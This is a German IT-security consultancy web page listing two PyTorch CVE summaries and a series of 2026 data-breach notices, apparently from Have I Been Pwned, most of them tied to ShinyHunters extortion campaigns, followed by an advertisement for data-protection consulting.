A vulnerability was found in PyTorch 2.6.0. It has been declared as critical. Affected by this vulnerability is the function torch.nn.utils.rnn.pad_packed_sequence. The manipulation leads to memory corruption. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used.
Risiko 2 / 10 CVE-2025-2149 vor 456 Tag(en)
A vulnerability was found in PyTorch 2.6.0+cu124. It has been rated as problematic. Affected by this issue is the function nnq_Sigmoid of the component Quantized Sigmoid Module. The manipulation of the argument scale/zero_point leads to improper initialization. The attack needs to be approached locally. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used.

Das "CVE"-Repository (eng. Common Vulnerabilities and Exposures) stellt eine Liste bekannter Schwachstellen und Sicherheitslücken in IT-Systemen unter Führung des "US-amerikanischen National Cybersecurity" zusammen und bewertet diese anhand Ihres Risikos auf einer Skala von eins bis zehn.


Gerade im Bereich von Web-Technologien und Cloud-Software werden regelmäßig Hacks und Sicherheitslücken bekannt. Die betroffenen Unternehmen erleiden in der Regel nicht nur einen Image-Schaden sondern stehen womöglich gegenüber Ihren Kunden auch in der rechtlichen Verantwortung. Das Projekt "Have I Been Pwned" sammelt seit Jahren Daten die aus Hacks oder Datenlecks öffentlich zugänglich werden und bietet einen Service um zu prüfen, ob man selbst von diesen Hacks betroffen wurde.

30.05.2026 - Atlas Menu 63.926 Datensätze geleaked
Email addresses, IP addresses, Passwords, Support tickets, Usernames

In May 2026, the GTA V and CS2 cheat service Atlas Menu suffered a data breach. An attacker claimed to have gained access to all Atlas systems and published the service's database to a public GitHub repository. The incident exposed 64k unique email addresses along with usernames, IP addresses, support tickets and passwords stored as bcrypt hashes.
29.05.2026 - BCD Travel 396.313 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the corporate travel management company BCD Travel was claimed as a victim of the ShinyHunters "pay or leak" extortion campaign. Data allegedly obtained from BCD was subsequently published publicly in early June and contained 396k unique email addresses. Other exposed data included names, addresses, phone numbers, job titles and employer names, spanning a variety of different data sets including leads, internal staff and support tickets.
23.05.2026 - Baker Distributing 102.935 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In May 2026, the HVAC/R wholesale distributor Baker Distributing Company was added to the ShinyHunters data extortion group's "pay or leak" site. In early June, the group publicly published data they claimed had been obtained from Baker's SharePoint and Salesforce infrastructure including 103k unique email addresses along with names, physical addresses, phone numbers and tickets relating to the company's HVAC contractor customer base. The exposed data was largely corporate contact and support information with limited sensitivity.
23.05.2026 - Charter 4.851.517 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In May 2026, the telecommunications company Charter Communications (the parent company behind the consumer broadband and cable brand Spectrum) was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group later published the data, which exposed 4.9M unique email addresses along with names, phone numbers and physical addresses. A subset of approximately 85k records originating from an internal employee directory also included job titles. Charter confirmed the incident, but stated that no sensitive personal information or customer proprietary network information (CPNI) was exfiltrated.
23.05.2026 - DentaQuest 2.553.599 Datensätze geleaked
Dates of birth, Email addresses, Genders, Government issued IDs, Health insurance information, Names, Phone numbers, Physical addresses

In May 2026, the dental benefits administrator DentaQuest was the target of a ShinyHunters "pay or leak" extortion campaign that resulted in the group publicly publishing hundreds of gigabytes of data allegedly obtained from the company. The data included 2.6M unique email addresses along with names, addresses and phone numbers. Much of the data appeared in healthcare enrollment files (ASC X12 transaction sets) with some containing Medicaid IDs, while additional data appeared in member records and related files. DentaQuest acknowledged "a cybersecurity incident involving unauthorized access to a limited portion of our network", and advised they had contained the attack and mitigated the threat.
05.05.2026 - Cushman & Wakefield 310.431 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations

In May 2026, the real estate services firm Cushman & Wakefield was the target of a "pay or leak" extortion campaign by the ShinyHunters group. Following the threat, the group publicly published data they alleged had been obtained from the firm, consisting mostly of C&W email addresses along with tens of thousands of external email addresses and corporate contact records. The exposed data was primarily business information, including names, job titles, company addresses and phone numbers.
30.04.2026 - Reborn Gaming 126 Datensätze geleaked
Email addresses, IP addresses

In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM). The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.
28.04.2026 - Vimeo 119.167 Datensätze geleaked
Email addresses, Names

In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their "pay or leak" campaign. They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include "Vimeo video content, valid user login credentials, or payment card information".
26.04.2026 - CTT 468.124 Datensätze geleaked
Email addresses, Names, Phone numbers

In April 2026, data allegedly obtained from CTT, Portugal's national postal service, was posted to a public hacking forum. The data included 468k unique email addresses along with names, phone numbers and parcel tracking numbers which can be used to retrieve the tracking history of the parcel.
24.04.2026 - Udemy 1.401.259 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Payment methods, Phone numbers, Physical addresses

In April 2026, online training company Udemy was the victim of a “pay or leak” extortion attempt perpetrated by the ShinyHunters group. The data was subsequently leaked publicly and contained 1.4M unique email addresses belonging to customers and instructors. The data also included names, physical addresses, phone numbers, employer information and instructor payout methods including PayPal, cheque and bank transfer.
20.04.2026 - ADT 5.488.888 Datensätze geleaked
Dates of birth, Email addresses, Names, Partial government issued IDs, Phone numbers, Physical addresses

In April 2026, home security firm ADT confirmed a data breach by ShinyHunters, which listed the company on its website as part of a "pay or leak" extortion attempt. The breach impacted 5.5M unique email addresses along with names, phone numbers and physical addresses. ADT also advised that "in a small percentage of cases, dates of birth and the last four digits of Social Security numbers or Tax IDs were included" and that it had contacted all affected people.
20.04.2026 - Aman 215.563 Datensätze geleaked
Dates of birth, Email addresses, Genders, Language preferences, Names, Nationalities, Phone numbers, Physical addresses, Spouses names, VIP statuses

In April 2026, the ultra-luxury hotel brand Aman was named by ShinyHunters as the target of a "pay or leak" extortion campaign, with the data allegedly obtained from their Salesforce CRM. The data was subsequently leaked publicly and contained over 200k unique email addresses. Whilst not present on all records, the data also included genders, physical addresses, phone numbers, nationalities, dates of birth, spouse names and VIP status codes.
20.04.2026 - Canada Life 237.810 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets

In April 2026, Canada Life was the victim of a "pay or leak" extortion campaign by the ShinyHunters group. The group subsequently published the data which contained over 200k unique email addresses along with names, phone numbers, physical addresses and, in some cases, customer support tickets. In their disclosure notice, Canada Life advised that "it is a small proportion of our customers who may have been impacted". In the wake of the incident, Canada Life also published an alert cautioning customers to be wary of phishing attacks, a pattern often seen after the public release of breached data.
20.04.2026 - Pitney Bowes 8.243.989 Datensätze geleaked
Email addresses, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the hacking collective ShinyHunters claimed to have obtained data from Pitney Bowes as part of a broader extortion campaign that also named several other organisations. After negotiations allegedly failed, the group publicly released the data which included 8.2M unique email addresses, along with names, phone numbers and physical addresses. A subset of the data also included Pitney Bowes employee records with job titles.
18.04.2026 - Carnival 7.531.359 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Loyalty program details, Names, Salutations

In April 2026, the notorious hacking collective ShinyHunters claimed they had obtained a substantial volume of data belonging to the Carnival cruise operator and attempted to extort the organisation to prevent the data from being leaked. The following week, the group published the data publicly, which contained 8.7M records with 7.5M unique email addresses. The data contained fields indicating it related to the Mariner Society loyalty program run by Holland America, a cruise line brand under Carnival, and included names, dates of birth, genders and data relating to status within the loyalty program. Carnival acknowledged a phishing incident involving a single user account and advised they were working to better understand the scope of the unauthorised activity.
15.04.2026 - Kemper 269.299 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases

In April 2026, the American insurance holding company Kemper Corporation was named by the ShinyHunters ransomware group in a "pay or leak" extortion campaign. The attackers allegedly accessed Kemper's Salesforce environment via social engineering as part of a broader campaign targeting hundreds of organisations using the same method. The group later published tens of gigabytes of data they claimed included internal directory data, Salesforce records and Stripe payment logs. Among the 269k unique email addresses were names, phone numbers, physical addresses and partial payment card data including the last 4 digits, expiry dates and card brands. Kemper confirmed the incident and stated they had engaged third-party cybersecurity experts and notified law enforcement.
15.04.2026 - Zara 197.376 Datensätze geleaked
Email addresses, Geographic locations, Purchases, Support tickets

In April 2026, the fashion brand Zara was among a number of organisations targeted by the ShinyHunters extortion group as part of their "pay or leak" campaign. The group claimed the breach was related to a compromise of the Anodot analytics platform and subsequently published a terabyte of data allegedly including 95M support ticket records. The data contained 197k unique email addresses alongside product SKUs, order IDs and the market the support ticket originated in. Zara's parent company Inditex advised that the incident didn't affect passwords or payment information.
14.04.2026 - Abrigo 711.099 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the fintech software company Abrigo was targeted in a "pay or leak" extortion attempt by the ShinyHunters group. Shortly after, data allegedly taken from the company's Salesforce instance was published publicly and contained over 700k unique email addresses belonging to both Abrigo staff and external contacts. Whilst separate from Abrigo's Salesforce compromise via the Drift application connector the previous year, the data fields described in that incident are consistent with the ShinyHunters data, namely that it was "business contact information" including "institution name, employee name, email addresses, and phone numbers".
12.04.2026 - Marcus & Millichap 1.837.078 Datensätze geleaked
Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses

In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group. Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice, Marcus & Millichap advised that data which may have been accessed appeared limited to "company forms, templates, marketing materials, and general contact information".
12.04.2026 - Mytheresa 84.108 Datensätze geleaked
Email addresses, Names, Partial credit card data, Phone numbers, Physical addresses, Purchases, Salutations

In April 2026, the luxury fashion e-commerce platform Mytheresa was listed as a victim of the ShinyHunters "pay or leak" extortion group. After the ransom deadline passed, the group publicly released the data which contained 84k unique email addresses. The exposed data also included names, phone numbers, physical addresses, purchases and partial credit card data including card type, last 4 digits and expiry date.
10.04.2026 - McGraw Hill 13.500.136 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records.
08.04.2026 - 7-Eleven 185.256 Datensätze geleaked
Dates of birth, Email addresses, Names, Phone numbers, Physical addresses

In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data.
07.04.2026 - My Lovely AI 106.271 Datensätze geleaked
Email addresses, Social media profiles

In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames.
06.04.2026 - LegionProxy 10.144 Datensätze geleaked
Email addresses, Names, Passwords, Purchases

In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.
03.04.2026 - Amtrak 2.147.679 Datensätze geleaked
Email addresses, Names, Physical addresses, Support tickets

In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records.
02.04.2026 - SongTrivia2 291.739 Datensätze geleaked
Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames

In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars.
31.03.2026 - Hallmark 1.736.520 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses, Support tickets

In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets.
27.03.2026 - ZenBusiness 5.118.184 Datensätze geleaked
Email addresses, Names, Phone numbers

In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file.
26.03.2026 - BreachForums Version 5 339.778 Datensätze geleaked
Email addresses, Passwords, Usernames

In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes.
25.03.2026 - Addi 34.532.941 Datensätze geleaked
Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels

In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points.
25.03.2026 - Sound Radix 292.993 Datensätze geleaked
Email addresses, Names, Passwords

In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted.
13.03.2026 - Divine Skins 105.814 Datensätze geleaked
Email addresses, Purchases, Usernames

In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach. The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users.
12.03.2026 - Crunchyroll 1.195.684 Datensätze geleaked
Email addresses

In March 2026, the anime streaming service Crunchyroll suffered a data breach alleged to have impacted 6.8M users. The exposed data is reported to have originated from the company's Zendesk support system where "name, login name, email address, IP address, general geographic location and the contents of the support tickets" were exposed. A subset of 1.2M email addresses from an alleged 2M record dataset being sold was later provided to HIBP.
08.03.2026 - Baydöner 1.266.822 Datensätze geleaked
Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases

In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum. The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice, Baydöner stated that payment and financial data was not affected.
06.03.2026 - Aura 903.080 Datensätze geleaked
Customer service comments, Email addresses, IP addresses, Names, Phone numbers, Physical addresses

In March 2026, the online safety service Aura disclosed a data breach that exposed 900k unique email addresses. The data was primarily associated with a marketing tool from a previously acquired company, with fewer than 20k active Aura customers affected. Exposed data included names, phone numbers, physical and IP addresses, and customer service notes. Aura advised that no Social Security numbers, passwords or financial information were compromised.
04.03.2026 - SUCCESS 253.510 Datensätze geleaked
Device information, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses, Purchases

In March 2026, the personal development and achievement media brand SUCCESS suffered a data breach. The incident exposed 250k unique email addresses along with names, IP addresses, phone numbers and, for a limited number of staff members, bcrypt password hashes. The data also included orders containing physical addresses and the payment method used. In SUCCESS' disclosure notice, they advised their system had also been abused to send offensive newsletters with quotes falsely attributed to contributors.
04.03.2026 - Woflow 447.593 Datensätze geleaked
Email addresses, Names, Phone numbers, Physical addresses

In March 2026, the AI-driven merchant data platform Woflow was named as a victim by the ShinyHunters data extortion group. The group subsequently published tens of thousands of files allegedly obtained from the company, comprising more than 2TB of data. The trove included hundreds of thousands of email addresses, names, phone numbers and physical addresses, with the data indicating it related to Woflow customers and, in turn, the customers of merchants using their platform.
02.03.2026 - Ameriprise 502.597 Datensätze geleaked
Email addresses, Employers, Financial transactions, Job titles, Names, Phone numbers, Physical addresses

In March 2026, the financial services firm Ameriprise Financial was named by the ShinyHunters group in a "pay or leak" extortion campaign. The group claimed possession of more than 200GB of compressed data exfiltrated from Ameriprise's Salesforce environment and internal SharePoint infrastructure, and subsequently published the data after negotiations allegedly failed. The published data contained 500k unique email addresses as well as names, phone numbers, physical addresses and employer information. In their disclosure to state attorneys general, Ameriprise reported 47,876 affected people; the larger email address population represents contacts from Ameriprise's broader operational systems, including internal staff. Ameriprise further advised that they have "implemented heightened monitoring of your account(s) to include enhanced identity verification procedures".
25.02.2026 - KomikoAI 1.060.191 Datensätze geleaked
AI prompts, Email addresses, Forum posts, Names

In February, the AI-powered comic generation platform KomikoAI suffered a data breach. The incident exposed 1M unique email addresses along with names, user posts and the AI prompts used to generate content. The exposed data enables the mapping of individual AI prompts to specific email addresses.
25.02.2026 - Lovora 495.556 Datensätze geleaked
Display names, Email addresses, Profile photos

In February 2026, the couples and relationship app Lovora allegedly suffered a data breach that exposed 496k unique email addresses. The data also included users’ display names and profile photos, along with other personal information collected through use of the app. The app’s maker, Plantake, did not respond to multiple attempts to contact them about the incident.
Sind Sie betroffen? Hier prüfen!






Unsere TÜV-geprüften Berater sind für Sie da!

Wir haben Experten sowohl für die rechtlichen Anforderungen durch die DSGVO und das Bundesdatenschutzgesetz als auch für die technische Seite der IT-Sicherheit. Wir können Sie dahingehend über mögliche technische Risiken und Schutzmaßnahmen gleichermaßen beraten wir zur Umsetzung der gesetzlichen Anforderungen an den Datenschutz im Unternehmen und im Verein. Von den technischen und organisatorischen Maßnahmen über das Verfahrensverzeichnis sowie die praktische Umsetzung der Vorgaben können wir Sie gerne unterstützen.

Unsere Datenschutz-Experten beraten Sie gerne »





Keine Angst vor der DSGVO - wir helfen!










© 2012 - 2026 | SD Software-Design GmbH
Impressum | Datenschutz | Karriere | Online-Services